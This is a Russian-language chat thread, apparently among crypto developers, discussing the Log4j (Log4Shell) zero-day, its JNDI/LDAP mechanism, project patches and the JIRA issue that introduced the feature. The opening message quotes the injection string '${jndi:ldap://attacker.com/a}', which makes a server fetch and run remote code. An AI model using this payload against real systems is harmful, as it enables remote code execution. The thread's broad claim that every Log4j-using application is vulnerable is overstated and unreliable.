РЕШЕТО

Вчерашняя обнаруженная уязвимость нулевого дня в Java-библиотеке Log4j сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
Уязвимы все приложения которые используют Log4j, в частности все выпущенные версии Minecraft, Apple, iCloud и Twitter.

https://www.sify.com/finance/serious-bug-puts-apple-icloud-twitter-minecraft-at-hacking-threat-news-technology-vmlg2Ncbhajab.html

nem.core/NEM.xml at a167068c5bdef4a8c71ef4c5feb2af0c14d5cc6e · NemProject/nem.core · GitHub
https://github.com/NemProject/nem.core/blob/a167068c5bdef4a8c71ef4c5feb2af0c14d5cc6e/NEM.xml#L69

Первый пришедший в память криптопроект на жабе

Вроде ещё был какой-то бридж на жаве

Merge pull request #5910 from cbeams/avoid-log4j-0day · bisq-network/bisq@a592266 · GitHub
https://github.com/bisq-network/bisq/commit/a5922661b42814f5dbf4e231fa5f8cf8fbf64524

Народ постепенно обновляется

Я хз сколько народу успели похачить и ещё успеют. Но подозреваю, что отголоски мы ещё будем долго слышать

да как с ссш-хеартблидинг

Кстати именно по этому хорошо иметь имплементации децентрализованных систем на разных языках и следить за балансом их соотношения в сети

Вот эфир 2.0 внимательно к этому вопросу относится. Пока парити в полькадот не ударился в первой версии было тоже норм

Вобще эта "ошибка" скорее похожа на неправильно вызванную функцию

Типа printf(userinput);, только походу было индустриальным стандартом и всем пофиг

Это ошибка похожа на типичную ошибку "мы сделаем суперзвездолет который может все что придёт в голову разработчикам кровавого энтерпрайза обмазанного со всех сторон лдапом"

Обращение к ldap на каждую запись в логе - это всё же немного пиздец

Интересно кстати посмотреть на ишью которое привело к созданию этой уязвимости. Ещё никто не раскопал?

Может оно конечно кэшируется

[LOG4J2-313] JNDI Lookup plugin support - ASF JIRA
https://issues.apache.org/jira/browse/LOG4J2-313

Нашёл ишью по которой добавили фичу с уязвимостью

Фото автора
https://avatars.githubusercontent.com/u/362832?v=4